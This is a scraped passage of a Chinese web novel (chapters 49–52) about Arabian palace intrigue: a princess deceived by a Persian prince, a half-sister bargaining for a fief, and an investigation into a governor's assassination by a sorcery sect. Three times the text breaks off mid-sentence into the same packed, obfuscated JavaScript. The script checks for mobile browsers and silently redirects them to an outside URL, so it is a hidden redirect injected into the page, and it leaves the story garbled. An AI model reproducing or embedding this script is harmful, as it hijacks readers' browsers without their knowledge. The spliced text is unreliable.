知道叶海亚认罪的消息以后，祖拜达王后硬生生的捏碎了手里的陶瓷茶杯，直把手掌扎得鲜血淋淋。 她的那些证据已经成了一堆废纸，祖拜达王后意识到了这一点，还没来得及让人去查叶海亚是哪里来的钱，她的好女儿法蒂玛给了她一个“惊喜”。 法蒂玛抚着微微有了些隆起的小腹，用她在母亲面前一贯撒娇的口吻道：“妈妈，我有个好消息要告诉你！” “你要做祖母了，这是我和尤什的孩子。他未来会成为波斯帝国的王，只需要您一点点前期的投资。” 这是大流士王子给法蒂玛公主画的大饼，她不仅全盘接受，现在甚至想把这个饼喂给她精明强干的母亲。 49.欺骗 法蒂玛真心地觉得自己现在无比幸福，她有了温柔体贴的爱人，现在他们爱情的结晶正在她的腹中孕育，她感到由衷的喜悦。 在法蒂玛看来，未婚先孕并不是什么大事，她万能的母亲有一百种方式可以帮她遮掩过去。马蒙不也是没有结婚就弄出了好几个孩子了吗？ 她相信母亲也会像帮助马蒙一样帮助她，只需要同意她和尤什的婚事，不比处理私生子简单许多么？ 现在只差母亲的同意了，就像以前无数次那样，就算母亲不赞同，只需要她撒撒娇就会得到所有想要的东西。 这次要困难些，不过看在她的孩子的份上，她相信母亲肯定也会妥协。 沉浸在美好幻想中的法蒂玛却只得到了一个巴掌，啪的一声脆响，她娇嫩的头被祖拜达王后打到了一边，她唇角甜蜜的笑容僵住了。 法蒂玛感受到了前所未有的疼痛，眼泪不受控制地倾泻而下。 身娇肉贵的法蒂玛，阿拉比亚王国最尊贵的公主，从出生起就没有受过这样的委屈。 她只觉得脑子晕乎乎的，下意识尖叫着朝着祖拜达王后叫嚷起来。 “您竟然打我！马蒙做了那么多错事，您从来都没有碰他的手指头一下，就因为我想嫁给尤什，您竟然打我！” 可是在察觉到母亲越来越阴沉的脸色以后，法蒂玛的声音越来越小，越来越小，直到她自己都不知道自己在说什么。 祖拜达王后只需要稍稍联想就知道了这个蠢货女儿在男人的诱骗下都干了些什么，愤怒让她下意识给了法蒂玛一巴掌。 她并不后悔，看到法蒂玛毫无悔改的样子甚至还想再抽她几下。 她实在是对这个女儿溺爱太过了，以至于她长成了现在这么一副不知轻重，不懂廉耻的样子。 可是一看到法蒂玛公主红红的脸颊，上面还挂着泪珠，祖拜达王后又心软了，这毕竟是她数个小时的痛苦之后生下的孩子。 是她亲眼看着，从一个小小的婴孩慢慢长成了如今的样子的女儿啊。 一连串的变故让祖拜达感到头疼欲裂，她闭上眼睛，再睁开时里面的暴怒之色已经消失，恢复了平时的清明。 她不会因为法蒂玛怀孕就把她嫁给大流士王子，这个女儿她还有更大的作用，而非安抚一个小小的波斯。 一个尚未成型的胚胎很好处理，被男人迷得神魂颠倒的法蒂玛却很难回心转意，要是她决心和大流士私奔，局面会变得比现在棘手得多。 她必须要想个办法断了法蒂玛的念想。 大流士王子这样的人她见多了，她可不相信凭借法蒂玛的容貌或者才智能俘获大流士这样的情场老手，他八成是贪图塞尔柱家的势力。 这样的事揉碎了讲给一个落入情网的小女孩只会起到反效果，必须要让她亲眼看到才行。 拜达王后在她的宫殿中召见了大流士王子，她高高在上地俯视着这个俊美的青年，这副皮相确实相当具有迷惑性。 “我很清楚法蒂玛的性格，又蠢，脾气又坏，你接近她无非就是贪图塞尔柱的权势。” “塞尔柱家族会支持你在国内争夺王位，但是法蒂玛公主不会嫁给你。要是你坚持要娶法蒂玛，你什么都得不到。” 祖拜达王后没有时间纠缠，直接开门见山，既是威胁又是诱惑。 大流士的眼睛一闪，祖拜达王后搔到了他的痒处，他哄着骗着这个脾气很差，长相一般的刁蛮公主不就是为了赢得塞尔柱的支持吗。 不过他不会跳进这个陷阱，法蒂玛公主握在手上才是真的，他可不相信祖拜达王后嘴上的承诺。 “或许您不相信，我对法蒂玛的感情千真万确，没有她我是万万活不下去的。” “我和法蒂玛是真心相爱的，求您成全我们！” 大流士王子看起来完全就是一个沉溺在真爱中的大男孩，不过祖拜达王后可不会被这些把戏骗到。 在大流士王子看不到的地方，法蒂玛被他的话感动得眼泪汪汪的，之前她还没有傻得彻底，潜意识里也怀疑过大流士王子居心不良。 现在她彻底抛开了这些疑虑，下定决心不管怎么样她都要嫁给这个真心爱她的男人。 大流士王子油盐不进，软硬不吃。祖拜达王后的谋划失败了，她看着眼前满脸写着决绝的蠢女儿不知如何是好。 事情到了这个程度，祖拜达王后少有的被逼到了死角。 就在这时，一个不速之客来到了她的宫殿。 辛蒂亚公主亭亭立在法蒂玛王后的下首，不久前大流士王子还在同样的地方表白着他对法蒂玛的爱意。 法蒂玛王后在看出他识破了她的意图后，就把他赶了出去，没想到没多久又来一个讨厌的人。 祖拜达王后讨厌辛蒂亚公主，准确地说，她讨厌一切夺走她们母子三人光芒的事物。 辛蒂亚公主因为士兵的事大出风头，甚至盖过了法蒂玛，就连法兰西都派人来表达出了联姻的意愿，真是碍眼极了。 她为什么就不能像阿西玛那样乖乖的缩成一团，假装自己不存在呢？ 祖拜达王后早就想找个机会收拾这个不知天高地厚的女仆的女儿，可惜一直都腾不出手来。 今天辛蒂亚自己送上门来，却不是一个好时机，若非她扬言可以帮她解决眼下的困境，祖拜达王后说什么都不会见她。 “说吧，你有什么办法。”今天的烦心事实在是太多，以至于祖拜达王后都懒得维持表面上的温和了。 “请让我跟法蒂玛姐姐单独相处一会，我保证能叫她看清大流士王子的真面目，回心转意听您的安排。” “不过，希望您能答应我，在我办成这件事后，您不会在我向父亲请求封地的时候阻拦。” 阿拉比亚王国有着公主得到封地的先例，不过那是一个寡居的公主，在联姻中也算是为国家立下了功劳，当时的哈里发特意给她一块封地养老。 祖拜达王后的回应是嗤笑一声：“你？想要封地？我提醒你，你现在只是一个靠着王国税收养着的公主，没有为阿拉比亚做出丝毫的贡献，你凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868122|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要封地？” 辛蒂的回复是微微一笑：“这就不劳烦您操心了，只要您答应我，我立马替您解决法蒂玛姐姐的事。” 祖拜达王后生平最恨别人的要挟，可是眼下的情况她不得不含恨同意。为了防止祖拜达王后翻脸不认人，辛蒂还请来阿布老师作为见证。 祖拜达王后不大相信辛蒂亚公主，可是也只能死马当成活马医了。万一同龄人之间更有话说呢？说不定法蒂玛真的能听进去辛蒂亚的话。 让她惊讶的是，辛蒂亚公主不过和法蒂玛单独相处了十多分钟，再次出现的法蒂玛像是换了一个人。 之前那个为了爱情歇斯底里，不惜与母亲和家族决裂的小女孩消失了，取而代之的是一个看起来冷静成熟得多的法蒂玛。 “母亲，对不起，我的任性让您操心了。” “肚子里的孩子我不要了，请您帮我找医师开药。” “这段时间我不会出门，辛苦您帮我处理大流士王子的事。” 祖拜达王后惊呆了。 难道就像传言中那样，辛蒂亚受到安拉的庇护，以至于她身上具有着某种神力，轻松就拉回了悬崖边上的法蒂玛。 过往几十年她都没有遇到过这样堪称神迹的事。她几乎怀疑法蒂玛的躯壳里面换了一个灵魂，可是那些小动作分明就是她的女儿无疑。 那么，辛蒂亚公主究竟做了什么呢？ 这件事并不像祖拜达王后以为的那样简单，虽然辛蒂只用了十几分钟就让法蒂玛认清了大流士王子的真正面目，可是她为此已经搜集了好几个月的情报。 在发现大流士王子和法蒂玛公主的私情后，辛蒂借用了塔斯妮姆的人手，派他们远去波斯打听大流士王子的为人。 大量的金钱和时间得到的回报是丰厚的，辛蒂不仅知道了波斯国内的种种争斗，还知道了大流士王子是一个怎样的卑鄙小人。 大流士王子相当有野心，没有母族的支持，他就自己寻找支持。 他寻求支持的方式很下流，不像别的王子那样依靠自己的能力获得青睐，而是靠着自己阳光俊朗的外表骗取贵族的女儿的欢心。 在波斯国内，他周旋于数个家里或是有钱或是有权的女孩儿之间，假装要娶她们做王妃，以此得到了许多家族的帮助。 这些家族都是中等规模的小家族，能将女儿嫁给王子是他们做梦都想要的，面对大流士王子无度的索求，根本不敢反抗。 可是他的所有甜言蜜语都是谎言，这些女孩们被骗身骗心，最后什么都得不到。 在这些家族失去利用价值之后，大流士王子就会立马抛弃那些可怜的女孩们。其中不乏和法蒂玛一样有身孕者，照样得不到大流士王子任何的留恋。 也有发现被骗的家族试图揭穿他，大流士王子立马就会矢口否认，碍于他王子的身份，没有人拿他有办法，最后往往不了了之。 波斯国内大流士王子已经臭名昭著，所以他不得不来阿拉比亚王国寻找一位能带给他更多权势的结婚对象。 50.特殊 辛蒂让人搜集了不少大流士王子和那些姑娘们的往来信件，还有发生在不同女孩身上，却惊人的相似的遭遇都整理在一起交给法蒂玛公主。 当然，辛蒂不会指望一个尚处在激动之中，而且和她关系不太好的女人能够冷静下来听她说心上人的坏话。 辛蒂佩戴的熏香有凝神的效果，就算是一头愤怒的大象在闻到香味以后也能冷静下来，失去进攻的欲望。 法蒂玛在熏香的作用下，平静地接受了大流士王子是一个渣男，她只是他众多猎物中的一个这个残酷的现实。 她的大脑前所未有的清醒，在褪去对心上人的滤镜之后，法蒂玛意识到自己完全可以选择一个更好的男人，而不是吊死在把她当作工具的大流士王子身上。 辛蒂和祖拜达王后之间的交易圆满达成，纵然有千般的不情愿，有阿布老师的见证，祖拜达王后也只能履行不阻挠辛蒂获得封地的承诺。 祖拜达王后之前认为辛蒂亚公主不可能可以得到王国中任何一块地方作为封地，哪怕是在最为偏远的大部分都处在沙漠之中的西吉勒马萨。 可是看着少女笃定的面容，她有些不确定起来，隐隐意识到自己做了一个糟糕的决定。 不知道祖拜达王后已经有些后悔，辛蒂因为谋划的顺利感到愉快极了。 自从知道哈里发拉希德意图将她嫁给大流士王子以后，辛蒂就产生了离开宫廷的想法，可是离开这里，她又能去哪里呢？ 从阿布老师讲述的历史中，辛蒂知道了有个公主成功谋划到自己的封地的故事，顿时觉得找到了希望的曙光。 原本她应当慢慢进行谋划的，可是阿伊莎已经怀孕，而且通过灵性视觉，辛蒂可以确定她肚子里的是一个男婴。 要想保护这个尚未出生的弟弟，唯一的办法就是带着阿伊莎离开。 眼下祖拜达王后尚未发现这个孩子，可是一旦她知道了这个消息，恐怕阿伊莎就没办法跟着辛蒂离开了。 提前解决了祖拜达王后可能的阻拦，接下来就是让哈里发主动提出这件事。 哈里发拉希德正在思考应该如何有效地压制塞尔柱乃至马蒙的势力，对于继承人他没有别的选择，这并不代表着他就愿意早早让位。 宰相叶海亚一直都非常了解哈里发拉希德的心思，他轻声提出了一个建议：“或许可以给辛蒂亚公主一块封地。” “什么？叶海亚卿，你是老糊涂了吗？辛蒂亚可是一个公主，而且她还要和大流士王子结婚呢！”哈里发不假思索地就觉得这个提议不行，往上数一千年都没有发生过这么荒唐的事。 “关于大流士王子，有件事您需要知道。”在推销辛蒂亚公主之前，大流士王子确实是个需要解决的问题。 接下来叶海亚就详细描述了大流士王子在波斯国内的种种恶行，以及他根本不是他说得那样，是国内最有希望继承王位的王子！ 哈里发拉希德大惊失色，他也曾派人去打听过大流士王子的为人，得到的消息却不是这样的。 叶海亚一脸感慨：“那些人都被他重金收买了，我也受到了他的蒙蔽，若非波斯帝国的大王子萨尔贡向我揭穿了他的真面目，我也觉得他是个好小伙哩。” “萨尔贡王子还希望能迎娶阿西玛公主，不日就会来向您提出求婚呢。” 这件事当然也是辛蒂的手笔，在第一波派去波斯的人回来告诉她了关于大流士王子的劣迹以后，她立马派出了第二拨人。 第二拨人的任务是联络波斯帝国内声望最高的王子，告诉他大流士在阿拉比亚王国的所作所为。 萨尔贡王子当然不会容忍大流士靠着女人的裙带爬到他的头上，当即就出发前往阿拉比亚王国，他要亲自揭穿大流士的假面。 他能不能娶到阿拉比亚的公主倒是次要的，要是真的让大流士得到了塞尔柱的支持，鹿死谁手就未可知了。 哈里发听完这件事一下就转怒为喜，同时心里隐隐觉得愧对辛蒂亚公主，差点因为他的疏忽就让她嫁给了这样一个混蛋。 他重新思考起叶海亚关于封地的建议，又沉思了许久道：“给辛蒂亚封地也不是不行，辛蒂亚有着安拉的庇佑，不是一个普通的公主。” “可是哪块地方比较适合给她作为封地呢？” 哈里发拉希德之所以这么快改口，愧疚只是一方面，更大的原因是他意识到扶持辛蒂亚公主跟马蒙打擂台却是是一个很好的主意。 历史上有过将公主作为继承人的先例，虽然不太符合礼法且哈里发目前完全没有舍弃马蒙作为继承人的意思，这并不妨碍他借此磨砺磨砺这个儿子。 有了一个对手，想必塞尔柱家族和马蒙能收敛些。 唯一的问题是辛蒂亚能否担当起这样的重任呢？这也问题不大，他完全可以派遣一批可靠的大臣辅佐辛蒂亚。 关于封地，叶海亚早已经有了想法：“埃烈是个不错的地方，那里有许多混乱的宗教，辛蒂亚公主有着真主的庇佑。” “这完全可以是安拉的旨意，辛蒂亚公主在主的授意下，治理埃烈的臣民。” “正好埃烈的总督遇害，这未尝不是一个好时机······” 哈里发拉希德却并不认可，他很清楚“庇佑”中存在的水分，埃烈是一个很复杂的地方，一个响亮的名头能起到的作用十分有限。 他摇摇头：“可是辛蒂亚只是一个门都没有出过的小女孩，她怎么担当得起这样的重任呢？人们也不会信服的。” 话虽如此，哈里发拉希德已经有些心动了，将埃烈作为封地给辛蒂亚也不是不行。 反正他也不指望她真的能把那里治理好，如此也不影响大局。 虽然叶海亚的内心疯狂吐槽，辛蒂亚公主可不是什么小女孩，只是她太善于伪装，欺骗了所有人的眼睛。 可是他表面上还是和哈里发一起发愁：“这确实是个问题，我想您可以设置一个小小的考验，辛蒂亚公主‘完成’考验后，您就可以借此给她封地。” “不如这样······” 叶海亚给辛蒂挖了一个不大不小的坑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872052|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的辛蒂对此一无所觉，她正在思考别的事。 在她看来，有叶海亚的三寸不烂之舌，肯定能说服哈里发拉希德给她一块封地。 她又不需要多么繁华富裕的地方，随便什么犄角旮旯都可以，只要能让她有个地方发展自己的势力就行。 当然，要是能有一块好些的封地，她也来者不拒。 她眼下最为关心的是，阿西玛究竟是如何得到那些消息的。 不管是祖拜达王后谋杀艾利和玛丽达的儿子，还是阿伊莎怀孕的事，都不是阿西玛能知道的。 辛蒂直觉地认为，阿西玛一定有着什么不可告人的秘密。 阿西玛的秘密其实很简单，她能听懂动物们的聊天内容。 在阿西玛很小的时候，她就意识到了自己和别人不大一样。 她知道树枝上的鸟儿们并非在歌唱，大多数时候都在咒骂法蒂玛养的波斯猫，因为那只白猫老是想扑它们，吓它们一跳。 还有马厩里的马匹常常都会抱怨谁又重了多少，尤其是哈里发拉希德常骑的那匹黑马，主人发福的身材让他受够了。 池塘里的金鱼们知道的八卦最多，因为男人们女人们老是会在这里密谈，法蒂玛和大流士王子的情事她就是从金鱼们的闲聊中知道的。 而这些，她的生母听不到，她的女奴们也听不到。 她的母亲索芭赫第一次听她说起动物们的谈话时，吓得脸色苍白，一再嘱咐她绝不能将这件事告诉任何人。 阿西玛乖乖听话，以前她不明白为什么不能说，现在的她知道了和别人不一样并不是什么好事。 阿西玛的能力给她带来了不少乐趣，不过有时候她又觉得动物们实在是嘈杂极了。 在某些露天的宴会里，她甚至都分不清究竟是人在说话还是动物在说话，这让她养成了除非别人指名道姓跟她讲话，否则她不会轻易回答的好习惯。 不过遗憾的是，虽然她能听懂动物们的话，动物们却听不懂人类的语言，所以她无法指使动物做任何事。 否则她一定会让那些嘴巴很臭的鸟儿在法蒂玛头上拉屎，直到法蒂玛再也不敢出门。 辛蒂是阿西玛的母亲之外她第一个讲述自己奇异之处的人。 虽然和这个同父异母的姐姐相处的时间并不长，可是辛蒂已经教会了她应该爱惜自己的身体，在别的姐妹出言嘲讽时帮她进行反击。 所以在辛蒂再次问起阿西玛是怎么知道这些事的时候，她没有多作犹豫，就告诉了辛蒂实情。 辛蒂半是惊讶半是郁闷，能听懂动物们的话，这难道不是童话中的公主标配的能力吗？ 不过按照阿西玛的描述，这并非一件十分美妙的事 而且这个能力的局限性太大了，只能被动地获取消息，而不能驯化动物为自己所用。 辛蒂想了想，还是觉得自己的魔法书比较好。 “阿西玛，关于马蒙，你知道什么特别的消息吗？”辛蒂期待地看着阿西玛，希望能从她嘴里得到一些有意思的信息。 51.考验 辛蒂的反应出乎阿西玛的预料，她原本很忐忑辛蒂亚姐姐会不会把她当作异类，可是辛蒂亚的脸上甚至都没有出现多么惊讶的表情。 似乎这是一件再正常不过的事，这让她不安的内心好受了许多。 随即她认真思考起关于马蒙的消息。 阿西玛能听到的消息基本局限于宫廷之中，而马蒙的宫殿不是她能去的，更别说偷听其中动物的谈话，她基本对于马蒙一无所知。 阿西玛不好意思地摇摇头：“辛蒂亚姐姐，对不起，我没什么特殊的消息可以告诉你的。” “不过我最近在尝试驯养一些小家伙，要是你需要的话，我可以让它们跟着马蒙，一有消息我就告诉你！” 马蒙这边毫无进展，几天后辛蒂知道了哈里发拉希德为她设置的考验，准确地说，是叶海亚设置的。 哈里发拉希德最终还是同意了叶海亚的提议，事实上这个考验只是走个过场，他派去的官员的会解决这件事的，辛蒂亚公主只需要将他们的劳动成果作为自己的交给哈里发拉希德。 一旦辛蒂亚公主有了这样的实绩，他就有名头将埃烈分封给她了。 在阿拉比亚王国内，逊尼派是毋庸置疑的国教。虽然同样信奉真主安拉，什叶派却是逊尼派最大的反对者。 很有趣的地方是，什叶派认为哈里发应该世袭，从王子中间选出；而逊尼派则认为能者居之。 实际情况却是出于各种各样的理由，信奉逊尼派的哈拉姆家族是坚定的世袭制践行者。 当然除此以外，两大教派还有许多的分歧。 甚至两大教派的内部因为各种教义和伦理上的纷争，分裂出了许多不同的派系。 除了两大教派以外，还有许多规模没有那么大的小教团，比如拿撒勒派、苏菲派等等。 秘密偷走打火匣的阿赫勒教团也算其中之一，不过他们并不参与宗教之间的斗争，更多醉心于巫术。 各种各样的教团、教派混杂，还有五花八门的交易的冲突让阿拉比亚王国内的宗教斗争频发。 如果说首都巴格达有哈里发坐镇，还算和平。 那么作为而许多小教团的发源地，哈里发的权力难以触及的地方埃烈，称得上龙争虎斗，鱼龙混杂。 埃烈在历史上受到过许多国家和民族的殖民，其内的宗教成分相当复杂，逊尼派、什叶派、拿撒勒派等各个教派形成了微妙的平衡。 为了驱逐异端教派，各代哈里发都做出了不同程度的努力，可惜都收效甚微。 总之，这样一个宗教势力林立的地方，即使是哈里发亲至，恐怕也无法立稳脚跟。 既然要给辛蒂亚公主埃烈作为封地，相关的考验自然是关于宗教的。 上一任埃烈的总督扎姆·本·穆尔克，不久前回到巴格达向哈里发拉希德汇报工作的时候。 他还未见到哈里发，就在清真寺之前，众目睽睽之下遭遇了“献身者”的刺杀，当场不治身亡。 “献身者”卡里姆，在连日的审讯中只透露了自己的名字。他在成功刺杀总督扎姆之后立刻试图自杀，被阻止后人们将他关进了巴格达的监狱。 辛蒂亚公主的得到的考验就是从卡里姆的嘴里，得到幕后的宗教和指使者的名字。 以及扎姆原本准备汇报给哈里发拉希德的事件，那肯定不是什么小事，否则扎姆也不会这么快就遭到刺杀。 这当然不仅仅是审讯那么简单，要把这件事的前因后果捋清楚，辛蒂至少要充分了解埃烈的局势以及各个宗教的现状。 接到这项任务后，辛蒂也同时知道了在完成考验后，埃烈会成为她的封地。 无需思考，这是宰相叶海亚的主意。 辛蒂亚公主要是能将埃烈治理好，证明自己的能力，那么她会得到巴尔克马家族完完全全的臣服。 要是她做不到，很有可能辛蒂亚公主就会死在埃烈混乱的局势中，随便栽赃给某个小教团。 叶海亚真是好算计。不过辛蒂也无所谓就是了，有了封地，她必定会经营出属于自己的势力。 叶海亚也会看到，她完全有治理整个国家的能力。 辛蒂在监狱中见到了“献身者”卡里姆。 这个身材瘦小，面目平凡的男性实在是不像是一个杀手，而是大街上随处可见的巴格达平民。 他此时穿着肮脏的囚服，在经历了各种酷刑之后，囚服原本的颜色已经看不出来了，上面布满了了血渍和污迹。 囚服后的身体上布满了不同的刑具造成的伤口，有刀割的也有火烧的，即便如此，他仍然一个字都没有说。 不愧是臭名昭著的“献身者”。 据说“献身者”是某些宗教的传道者从平民中挑选孤儿、流浪汉、乞丐之类的生活没有指望的穷人，给他们干净的衣服和食物。 在取得他们基本的信任以后，通过某些成瘾性药物使他们产生“天堂花园”的幻觉，那里有流着美酒的小溪、穿着丝绸的美人还有吃不完的鲜果。 接着传道者会告诉这些从美丽幻境中清醒过来的人，只要他们完成一项神圣的任务，他们就能获得主的允许，永远留在天堂花园。 这些任务大多数都是刺杀、偷窃等不太光彩的事，而卡里姆的任务就是刺杀埃烈的总督。 他扮成衣衫褴褛的穷人，在人来人往的清真寺门口祈求总督扎姆的施舍，在扎姆露面后，一把淬了毒的匕首以十分刁钻的角度扎进他的腹部。 此时的卡里姆尚且还沉浸在成功的喜悦之中，他清清楚楚地记得他被承诺过的： 他完成了任务，天堂的大门将永远为他敞开，他的灵魂将去往那梦境之地，永远不再有痛苦和悲伤。 为此，□□的痛苦不值一提。 在听到卡里姆嘴里一直念叨着为了天堂、为了天堂，辛蒂就知道依靠常规手段从他的嘴里是什么也问不出来的。 实际上像这样的“献身者”，知道的也不会太多，他们往往只知道自己应该执行的命令，对于计划的全貌一无所觉。 看着身着雪白长袍的辛蒂亚公主站在牢房面前，裙角被污水染上了肮脏的颜色，哈迪贾劝说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876570|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“尊贵的公主，您实在不必来这样不洁的地方，那些大人们自然会把调查结果给您。” 哈迪贾口中的“大人们”是哈里发拉希德派来辅佐辛蒂亚公主的几位大臣，他们得到了哈里发的吩咐，只认为辛蒂亚公主是个傀儡。 在辛蒂接到命令后，他们只来过铜宫一次，毫无下属的自觉。估计第二次来就会甩给她一份报告，让她向哈里发交差。 辛蒂没有理会哈迪贾的话，事实上，类似的话女奴在来的路上已经说了好几次了。 哈迪贾倒不是受不了糟糕的环境，她就是在这样的环境中长大的。她只是认为美丽的公主就应该待在宫殿里，而不是在这样的地方“受罪”。 比起恶臭的监牢，没有人会不愿意待在香气馥郁、无一处不舒适的宫殿之中。 不过要想得到什么，就必须舍弃些别的东西，这是一条适用于所有人的铁律。 从卡里姆这里，辛蒂几乎一无所获，除了他口中一直喃喃着的“天堂”。 这是什叶派训练献身者的常见说辞，不过辛蒂并不认为这是什叶派的手笔。 据她所知，扎姆在埃烈的时候，和什叶派相处得很好。最起码从表面上看，什叶派没有任何刺杀扎姆的理由。 反而是拿撒勒派在扎姆的铁血手段下，损失了不少教众和土地，从动机上看，拿撒勒派有最大的嫌疑。 辛蒂的政治素养并不足以她从这么多弯弯绕绕中找出事件的本质，还好她可以通过占卜的手段确定出基本的方向。 “刺杀埃烈前总督扎姆的是拿撒勒派派吗？” “刺杀埃烈前总督扎姆的是什叶派吗？” 两个占卜的问题，水晶都在逆时针摆动。事情变得扑朔迷离了起来，甚至辛蒂的灵性没有给出任何提示画面。 辛蒂又一一占卜了其他可能的教派。 占卜的结果再次出乎辛蒂的预料，在轮到阿赫勒教团的时候，水晶给没有给出答案，辛蒂再次感受到了之前占卜打火匣去处时的刺痛感。 这其实已经变相说明了这件事确实和阿赫勒教团有很大的关系，否则水晶会如常给出否定的答案。 那群巫术疯子？他们为什么要刺杀扎姆总督？ 巫术疯子是阿布老师对阿赫勒教众的称呼，意在形容他们对于巫术的研究已经达到了一种痴狂的地步。 因为穆塔之战的缘故，许多厉害的巫术已经失传，他们出没于各个地区，只为寻找先贤留下来的关于强大巫术的蛛丝马迹。 按照阿布老师的讲述，阿赫勒教团中的巫师只会一些跟杂耍似的空气弹、小火苗之类的攻击性有限的巫术，也就跟她差不多的半吊子水平。 因此还有些人很不尊重的称阿赫勒教团为“马戏团”。 最起码辛蒂还有较为系统的教材，他们却只能凭借着那些七零八落的书籍学习巫术。 关于占卜阿赫勒教团时的刺痛，辛蒂猜测他们或许有一个反占卜的保护巫术或者相关的魔法道具。 既然有了明确的怀疑对象，接下来的调查就简单了许多。 52.莱曼大师 各个教团在巴格达的据点都需要进行报备，在宗教管理的相关部门里，辛蒂找到了阿赫勒教团在巴格达的据点。 辛蒂亚公主的到来让阿赫勒教团驻巴格达分部的成员惊慌不已，别的地区或许还没有听过“受到真主庇佑的公主”的故事，在巴格达这个故事已经衍生出了无数个版本。 普通人都认为这不过是一个故事而已，对于神秘学有更深刻理解的他们却很清楚这绝不是故事那么简单。 最直接的证据就是魔法火匣的存在，当士兵哈立德还活着的时候，他们完全感应不到阿赫勒教团的圣物。 一直到那天晚上，远在他乡的主教忽然通过秘术向他们传讯，他得到了圣物的指示，命令他们立即去花园旅店取得信物。 见识过圣物的威能之后，他们很难想象到持有圣物的士兵怎么会被轻易杀死，况且他还“受到命运的庇佑”。 他们不敢小觑事件的另一位主角辛蒂亚公主，无论她是真的受到真主的庇佑，还是依靠自身杀死了士兵，都足以让他们郑重对待。 为辛蒂亚公主引路的官员惊讶地发现阿赫勒教团这群巫术疯子今天异常的有礼貌。 以往不管是什么人，即使宰相叶海亚亲至，他们也都自顾自地做研究，三请四催后才能见到负责人。 这一次他们刚到门口，阿赫勒教团驻巴格达分部的负责人莱曼大师就已经在门口迎接。 他们甚至还准备了上好的椰枣茶和新鲜的瓜果来招待客人，引路的官员几乎要以为自己走错地方了。 辛蒂不知道自己受到了非比寻常的优待，她挑剔地观察了一下这里的环境，非常简陋寒酸的地方，各处都堆满了杂物，几乎无法下脚。 就连椰枣茶也似乎是放了很久的陈货，看来这个阿赫勒教团还挺穷的，她完全没想起来因为她，阿赫勒教团失去了一大笔财富。 “莱曼大师，我这次来主要是关于扎姆总督遇刺的案件，有几个问题希望能得到您的配合。” 辛蒂亚公主果然和传说中一样美丽，她深邃的黑眼睛里有着和年纪不相符的深沉，几乎可以看穿人的内心。 莱曼大师内心一震，却还是维持住了表面上的镇定：“这个案件我有所耳闻，扎姆大人的不幸让我们深感遗憾。” “不过对此我想您应该去问问拿撒勒派或者什叶派，阿赫勒教团一向与世无争。” 辛蒂既然来到这里，肯定不会毫无准备，她拿出她伪造的，卡里姆供认自己受到阿赫勒教团指使刺杀总督扎姆，并盖上了鲜红指印的文件。 白色的纸张在莱曼大师的面前晃了晃，随即辛蒂就将其小心翼翼地装回袋子里道：“我相信阿赫勒教团不会做出刺杀总督这样愚蠢的行为，不过既然卡里姆指认，就需要您配合一下了。” 莱曼大师脸上的表情不是假装出来的，他感到相当惊讶。 他确信卡里姆不会知道那些所谓的传道者实际上是阿赫勒教团的人假扮的，毋庸置疑这是一份假文件。 可要是文件是伪造的，辛蒂亚公主又怎么会知道他们是真正的主使者？ 他的疑问只有在监狱中，酷刑里慢慢思考了。 莱曼大师还没有发现他露出了破绽，刺杀总督扎姆的人的名字并不属于公开信息，按理说他不会知道这个名字。 可是在辛蒂亚公主说出“卡里姆”的时候，他没有表现出任何的疑问。 辛蒂对于阿赫勒教团是真正的指使者有了更大的把握。 若非占卜，她绝对想象不到是阿赫勒教□□人刺杀的总督扎姆，他们之间几乎可以说没有任何交集。 这位莱曼大师看上去不像是能承受住酷刑的样子，相信她很快就能得到这背后的原因。 莱曼大师在巴格达颇有名望，他擅长一些寻物和寻人的巫术，帮助过很多贵族和平民。 他被捕入狱的消息很快就传开了，许多人都觉得不可思议。 哈里发拉希德收到了不少抗议信，认为莱曼大师绝非刺杀扎姆的幕后指使者，辛蒂亚公主完全是乱来。 要求释放莱曼大师的信件一夜之间就在哈里发拉希德的书案上积了厚厚一叠，他颇为头疼，几乎都想要收回让辛蒂亚公主查案的命令。 宰相叶海亚劝阻了他：“君王的命令不应轻言收回，这会影响您的威信。” “要是莱曼大师真的无辜，他早晚会被释放出来，您可以命令辛蒂亚公主加快查案的速度，早日还莱曼大师的清白。” 哈里发拉希德同意了，他想起来辛蒂亚公主清亮的眼眸，那孩子也不像是胡闹的样子，虽然可能性很小，万一莱曼大师真的有罪呢？ 叶海亚却很相信辛蒂亚公主，莱曼大师八成就是幕后的指使者，只是足智多谋如他，也同样想不出阿赫勒教团这样做的理由。 其实莱曼大师也不知道为什么主教会命令他刺杀埃烈的总督扎姆，他毕竟远在巴格达，很多埃烈的事都不大清楚。 